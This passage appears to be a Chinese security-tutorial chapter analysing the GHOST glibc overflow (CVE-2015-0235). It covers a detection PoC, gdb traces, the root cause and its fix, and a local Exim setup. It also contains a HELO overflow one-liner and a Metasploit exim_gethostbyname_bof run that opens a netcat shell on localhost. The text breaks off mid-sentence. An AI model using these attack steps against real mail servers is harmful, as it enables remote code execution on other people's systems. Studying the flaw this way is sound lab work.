7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞
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glibc 是 GNU 的 C 运行库，几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST，发生的原因是函数 __nss_hostname_digits_dots() 存在缓冲区溢出，可以通过 gethostbyname*() 系列函数触发，最容易的攻击入口是邮件服务器，攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.17。
操作系统
Ubuntu 12.04
体系结构：64 位
调试器
gdb-peda
版本号：7.4
漏洞软件
glibc
版本号：2.15
受影响软件
Exim4
版本号：4.80
通过下面的 PoC 可以知道自己的系统是否受到影响：
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#define CANARY "in_the_coal_mine"
struct {
char buffer[1024];
char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };
int main(void) {
struct hostent resbuf;
struct hostent *result;
int herrno;
int retval;
/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
char name[sizeof(temp.buffer)];
memset(name, '0', len);
name[len] = '\0';
retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
if (strcmp(temp.canary, CANARY) != 0) {
puts("vulnerable");
exit(EXIT_SUCCESS);
}
if (retval == ERANGE) {
puts("not vulnerable");
exit(EXIT_SUCCESS);
}
puts("should not happen");
exit(EXIT_FAILURE);
}$ file /lib/x86_64-linux-gnu/libc-2.15.so
/lib/x86_64-linux-gnu/libc-2.15.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=0x7c4f51534761d69afd01ac03d3c9bc7ccd21f6c6, for GNU/Linux 2.6.24, stripped
$ gcc -g poc.c
$ ./a.out
vulnerable很明显是存在漏洞的。简单解释一下 PoC，在栈上布置一个区域 temp，由 buffer 和 canary 组成，然后初始化一个 name，最后执行函数 gethostbyname_r()，正常情况下，当把 name+*host_addr+*h_addr_ptrs+1 复制到 buffer 时，会正好覆盖缓冲区且没有溢出。然而，实际情况并不是这样。
函数 gethostbyname_r() 在 include/netdb.h 中定义如下：
struct hostent {
char *h_name; /* official name of host */
char **h_aliases; /* alias list */
int h_addrtype; /* host address type */
int h_length; /* length of address */
char **h_addr_list; /* list of addresses */
}
#define h_addr h_addr_list[0] /* for backward compatibility */
int gethostbyname_r(const char *name,
struct hostent *ret, char *buf, size_t buflen,
struct hostent **result, int *h_errnop);name：网页的 host 名称
ret：成功时用于存储结果
buf：临时缓冲区，存储过程中的各种信息
buflen：缓冲区大小
result：成功时指向 ret
h_errnop：存储错误码
执行前：
gdb-peda$ x/6gx temp.buffer
0x601060 <temp>: 0x0000726566667562 0x0000000000000000 <-- buffer <-- host_addr
0x601070 <temp+16>: 0x0000000000000000 0x0000000000000000 <-- h_addr_ptrs
0x601080 <temp+32>: 0x0000000000000000 0x0000000000000000 <-- hostname
gdb-peda$ x/20gx temp.canary-0x10
0x601450 <temp+1008>: 0x0000000000000000 0x0000000000000000
0x601460 <temp+1024>: 0x635f6568745f6e69 0x656e696d5f6c616f <-- canary
0x601470 <temp+1040>: 0x0000000000000000 0x0000000000000000执行后：
gdb-peda$ x/6gx temp.buffer
0x601060 <temp>: 0x0000000000000000 0x0000000000000000 <-- buffer <-- host_addr
0x601070 <temp+16>: 0x0000000000601060 0x0000000000000000 <-- h_addr_ptrs
0x601080 <temp+32>: 0x0000000000000000 0x3030303030303030 <-- h_alias_ptr, hostname
gdb-peda$ x/6gx temp.canary-0x10
0x601450 <temp+1008>: 0x3030303030303030 0x3030303030303030
0x601460 <temp+1024>: 0x0030303030303030 0x656e696d5f6c616f <-- canary
0x601470 <temp+1040>: 0x0000000000000000 0x0000000000000000canary 被覆盖了 8 个字节，即溢出了 8 个字节。
grep -irF '__nss_hostname_digits_dots' ./*
./CANCEL-FCT-WAIVE:__nss_hostname_digits_dots
./ChangeLog.12: * nss/Versions (libc): Add __nss_hostname_digits_dots to GLIBC_2.2.2.
[...]
./nss/getXXbyYY.c: if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
./nss/digits_dots.c:__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
./nss/digits_dots.c:libc_hidden_def (__nss_hostname_digits_dots)
./nss/getXXbyYY_r.c: switch (__nss_hostname_digits_dots (name, resbuf, &buffer, NULL,通过搜索漏洞函数我们发现，函数是从 glibc-2.2.2 开始引入的，且仅在 getXXbyYY.c 和 getXXbyYY_r.c 中被使用，且需要 HANDLE_DIGITS_DOTS 被定义：
// inet/gethstbynm.c
#define NEED_H_ERRNO 1
// nss/getXXbyYY_r.c
#ifdef HANDLE_DIGITS_DOTS
if (buffer != NULL)
{
if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
&buffer_size, 0, &result, NULL, AF_VAL,
H_ERRNO_VAR_P))
goto done;
}
#endif具体程序如下（来自glibc-2.17）：
// nss/digits_dots.c
int
__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
char **buffer, size_t *buffer_size,
size_t buflen, struct hostent **result,
enum nss_status *status, int af, int *h_errnop)
{
[...]
if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')
{
const char *cp;
char *hostname;
typedef unsigned char host_addr_t[16];
host_addr_t *host_addr;
typedef char *host_addr_list_t[2];
host_addr_list_t *h_addr_ptrs;
char **h_alias_ptr;
size_t size_needed;
[...]
// size_needed 决定了缓冲区的大小，即 *host_addr+*h_addr_ptrs+name+1 （1存储结尾的'\0'）
size_needed = (sizeof (*host_addr)
+ sizeof (*h_addr_ptrs) + strlen (name) + 1);
if (buffer_size == NULL) // 重入分支
{
if (buflen < size_needed)
{
[...]
goto done;
}
}
else if (buffer_size != NULL && *buffer_size < size_needed) // 非重入分支
{
char *new_buf;
*buffer_size = size_needed;
new_buf = (char *) realloc (*buffer, *buffer_size); // 重新分配缓冲区，以保证其足够大
if (new_buf == NULL)
{
[...]
goto done;
}
*buffer = new_buf;
}
[...]
// 但这里在计算长度时却是 host_addr+h_addr_ptrs+h_alias_ptr+hostname
// 与缓冲区相差了一个 h_alias_ptr，64 位下为 8 字节
host_addr = (host_addr_t *) *buffer;
h_addr_ptrs = (host_addr_list_t *)
((char *) host_addr + sizeof (*host_addr));
h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));
hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);
if (isdigit (name[0]))
{
for (cp = name;; ++cp)
{
if (*cp == '\0')
{
int ok;
if (*--cp == '.')
break;
[...]
if (af == AF_INET)
ok = __inet_aton (name, (struct in_addr *) host_addr);
else
{
assert (af == AF_INET6);
ok = inet_pton (af, name, host_addr) > 0;
}
if (! ok)
{
[...]
goto done;
}
resbuf->h_name = strcpy (hostname, name); // 复制 name 到 hostname，触发缓冲区溢出
[...]
goto done;
}
if (!isdigit (*cp) && *cp != '.')
break;
}
}注释已经在代码中了，也就是实际需要的缓冲区长度与所申请的缓冲区长度不一致的问题。当然想要触发漏洞，需要满足下面几个条件：
name 的第一个字符必须是数字
name 的最后一个字符不能是 "."
name 的所有字符只能是数字或者 "."
必须是 IPv4 地址且必须是这些格式中的一种："a.b.c.d"，"a.b.c"，"a"，且 a,b,c,d 均不能超过无符号整数的最大值，即 0xffffffff
对比一下 glibc-2.18 的代码，也就是把 h_alias_ptr 的长度加上了，问题完美解决：
size_needed = (sizeof (*host_addr)
+ sizeof (*h_addr_ptrs)
+ sizeof (*h_alias_ptr) + strlen (name) + 1);$ sudo apt-get install libpcre3-dev
$ git clone https://github.com/Exim/exim.git
$ cd exim/src
$ git checkout exim-4_80
$ mkdir Local
$ cp src/EDITME Local/Makefile
$ #修改 Makefile 中的 EXIM_USER=你的用户名
$ #注释掉 EXIM_MONITOR=eximon.bin
$ #然后取消掉 PCRE_LIBS=-lpcre 的注释
$ make && sudo make install最后为了能够调用 smtp_verify_helo()，在 Exim 的配置文件中必须开启 helo_verify_hosts 或 helo_try_verify_hosts。在文件 /var/lib/exim4/config.autogenerated 中的 acl_smtp_mail 一行下面加上 helo_try_verify_hosts = * 或者 helo_verify_hosts = *：
acl_smtp_mail = MAIN_ACL_CHECK_MAIL
helo_try_verify_hosts = *更新并重启软件即可：
$ update-exim4.conf
$ exim4 -bP | grep helo_try
helo_try_verify_hosts = *
$ sudo /etc/init.d/exim4 stop
$ sudo /usr/exim/bin/exim -bdf -d+all这样就把程序以 debug 模式开启了，之后的所有操作都会被打印出来，方便观察。还是为了方便（懒），后续的所有操作都只在本地执行。
先简单地看一下 Exim 处理 HELO 命令的过程，在另一个 shell 里，使用 telenet 连接上 Exim，根据前面的限制条件随便输入点什么：
$ telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 16:58:37 +0800
HELO 0123456789
250 firmy-VirtualBox Hello localhost [127.0.0.1]
^CConnection closed by foreign host.
firmy@firmy-VirtualBox:~$ telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 17:00:47 +0800
HELO 0123456789
250 firmy-VirtualBox Hello localhost [127.0.0.1]结果如下：
17:00:47 5577 Process 5577 is ready for new message
17:00:47 5577 smtp_setup_msg entered
17:00:55 5577 SMTP<< HELO 0123456789
17:00:55 5577 sender_fullhost = localhost (0123456789) [127.0.0.1]
17:00:55 5577 sender_rcvhost = localhost ([127.0.0.1] helo=0123456789)
17:00:55 5577 set_process_info: 5577 handling incoming connection from localhost (0123456789) [127.0.0.1]
17:00:55 5577 verifying EHLO/HELO argument "0123456789"
17:00:55 5577 getting IP address for 0123456789
17:00:55 5577 gethostbyname2(af=inet6) returned 1 (HOST_NOT_FOUND)
17:00:55 5577 gethostbyname2(af=inet) returned 1 (HOST_NOT_FOUND)
17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
17:00:55 5577 LOG: host_lookup_failed MAIN
17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
17:00:55 5577 HELO verification failed but host is in helo_try_verify_hosts
17:00:55 5577 SMTP>> 250 firmy-VirtualBox Hello localhost [127.0.0.1]// src/src/smtp_in.c
int
smtp_setup_msg(void)
{
[...]
while (done <= 0)
{
[...]
switch(smtp_read_command(TRUE))
{
[...]
case HELO_CMD:
HAD(SCH_HELO);
hello = US"HELO";
esmtp = FALSE;
goto HELO_EHLO;
case EHLO_CMD:
HAD(SCH_EHLO);
hello = US"EHLO";
esmtp = TRUE;
// 当 SMTP 命令为 HELO 或 EHLO 时，执行下面的过程
HELO_EHLO: /* Common code for HELO and EHLO */
cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
/* Reject the HELO if its argument was invalid or non-existent. A
successful check causes the argument to be saved in malloc store. */
if (!check_helo(smtp_cmd_data)) // 检查 HELO 的格式必须是 IP 地址
{
[...]
break;
}
[...]
helo_verified = helo_verify_failed = FALSE;
if (helo_required || helo_verify)
{
BOOL tempfail = !smtp_verify_helo(); // 验证 HELO 是否有效
if (!helo_verified)
{
if (helo_required)
{
[...]
}
HDEBUG(D_all) debug_printf("%s verification failed but host is in "
"helo_try_verify_hosts\n", hello);
}
}继续看函数 smtp_verify_helo()：
// src/src/smtp_in.c
BOOL
smtp_verify_helo(void)
{
[...]
if (!helo_verified)
{
int rc;
host_item h;
h.name = sender_helo_name;
h.address = NULL;
h.mx = MX_NONE;
h.next = NULL;
HDEBUG(D_receive) debug_printf("getting IP address for %s\n",
sender_helo_name);
rc = host_find_byname(&h, NULL, 0, NULL, TRUE);
if (rc == HOST_FOUND || rc == HOST_FOUND_LOCAL)
[....]
}
}// src/src/host.c
int
host_find_byname(host_item *host, uschar *ignore_target_hosts, int flags,
uschar **fully_qualified_name, BOOL local_host_check)
{
[...]
for (i = 1; i <= times;
#if HAVE_IPV6
af = AF_INET, /* If 2 passes, IPv4 on the second */
#endif
i++)
{
[...]
#if HAVE_IPV6
if (running_in_test_harness)
hostdata = host_fake_gethostbyname(host->name, af, &error_num);
else
{
#if HAVE_GETIPNODEBYNAME
hostdata = getipnodebyname(CS host->name, af, 0, &error_num);
#else
hostdata = gethostbyname2(CS host->name, af);
error_num = h_errno;
#endif
}
#else /* not HAVE_IPV6 */
if (running_in_test_harness)
hostdata = host_fake_gethostbyname(host->name, AF_INET, &error_num);
else
{
hostdata = gethostbyname(CS host->name);
error_num = h_errno;
}
#endif /* HAVE_IPV6 */函数 host_find_byname 调用了 gethostbyname() 和 gethostbyname2() 分别针对 IPv4 和 IPv6 进行处理，也就是在这里可以触发漏洞函数。
这一次我们输入这样的一串字符，即可导致溢出：
$ python -c "print 'HELO ' + '0'*$((0x500-16*1-2*8-1-8))"但是程序可能还是正常在运行的，我们多输入执行几次就会触发漏洞，发生段错误，连接被断开。
Connection closed by foreign host.$ dmesg | grep exim
[28929.172015] traps: exim4[3288] general protection ip:7fea41465c1d sp:7fff471f0dd0 error:0 in libc-2.15.so[7fea413f6000+1b5000]
[28929.493632] traps: exim4[3301] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
[28929.562113] traps: exim4[3304] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
[28929.631573] exim4[3307]: segfault at 100000008 ip 00007fea42e2d226 sp 00007fff471e8b50 error 4 in exim4[7fea42db6000+dc000]其实对于 Exim 的攻击已经集成到了 Metasploit 框架中，我们来尝试一下，正好学习一下这个强大的框架，仿佛自己也可以搞渗透测试。先关掉debug模式的程序，重新以正常的样子打开：
$ /etc/init.d/exim4 restartmsf > search exim
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/linux/smtp/exim4_dovecot_exec 2013-05-03 excellent Exim and Dovecot Insecure Configuration Command Injection
exploit/linux/smtp/exim_gethostbyname_bof 2015-01-27 great Exim GHOST (glibc gethostbyname) Buffer Overflow
exploit/unix/local/exim_perl_startup 2016-03-10 excellent Exim "perl_startup" Privilege Escalation
exploit/unix/smtp/exim4_string_format 2010-12-07 excellent Exim4 string_format Function Heap Buffer Overflow
exploit/unix/webapp/wp_phpmailer_host_header 2017-05-03 average WordPress PHPMailer Host Header Command Injection
msf > use exploit/linux/smtp/exim_gethostbyname_bof
msf exploit(linux/smtp/exim_gethostbyname_bof) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(linux/smtp/exim_gethostbyname_bof) > set SENDER_HOST_ADDRESS 127.0.0.1
SENDER_HOST_ADDRESS => 127.0.0.1
msf exploit(linux/smtp/exim_gethostbyname_bof) > set payload cmd/unix/bind_netcat
payload => cmd/unix/bind_netcat
msf exploit(linux/smtp/exim_gethostbyname_bof) > show options
Module options (exploit/linux/smtp/exim_gethostbyname_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 127.0.0.1 yes The target address
RPORT 25 yes The target port (TCP)
SENDER_HOST_ADDRESS 127.0.0.1 yes The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)
Payload options (cmd/unix/bind_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST 127.0.0.1 no The target address
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(linux/smtp/exim_gethostbyname_bof) > exploit
[*] Started bind handler
[*] 127.0.0.1:25 - Checking if target is vulnerable...
[+] 127.0.0.1:25 - Target is vulnerable.
[*] 127.0.0.1:25 - Trying information leak...
[+] 127.0.0.1:25 - Successfully leaked_arch: x64
[+] 127.0.0.1:25 - Successfully leaked_addr: 7fea43824720
[*] 127.0.0.1:25 - Trying code execution...
[+] 127.0.0.1:25 - Brute-forced min_heap_addr: 7fea438116cb
[+] 127.0.0.1:25 - Brute-force SUCCESS
[+] 127.0.0.1:25 - Please wait for reply...
[*] Command shell session 1 opened (127.0.0.1:34327 -> 127.0.0.1:4444) at 2018-01-26 17:29:07 +0800
whoami
Debian-exim
id
uid=115(Debian-exim) gid=125(Debian-exim) groups=125(Debian-exim)Bingo!!!成功获得了一个反弹 shell。
对于该脚本到底是怎么做到的，本人水平有限，还有待分析。。。
可以看到它最终调用了 gethostbyname2() 函数来解析来自 SMTP 客户端的数据包。具体代码如下：